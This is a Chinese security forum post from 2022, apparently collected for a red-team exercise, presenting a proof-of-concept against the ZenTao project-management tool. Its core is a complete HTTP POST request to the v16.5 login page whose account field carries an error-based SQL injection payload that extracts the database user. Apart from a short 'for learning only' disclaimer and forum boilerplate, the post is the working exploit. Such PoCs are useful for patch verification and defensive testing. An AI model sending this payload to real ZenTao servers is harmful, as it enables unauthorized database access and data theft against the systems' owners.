[2022HW] 禅道漏洞 PoC 整理

172 主题	34 回帖	30 荣誉

Rank: 9 Rank: 9 Rank: 9

发表于 2022-8-4 11:06:22 | 显示全部楼层 |阅读模式

本文内容为互联网上收集，禁止用于非法用途，仅供学习使用！

禅道 v16.5 SQL 注入

POST /zentao/user-login.html HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
account=admin%27+and++updatexml%281%2Cconcat%280x1%2Cuser%28%29%29%2C1%29+and+%271%27%3D%271

复制代码

GMT+8, 2024-4-24 11:35 , Processed in 0.058463 second(s), 23 queries .

		自动登录	找回密码
密码			立即注册

账号		自动登录	找回密码
密码			立即注册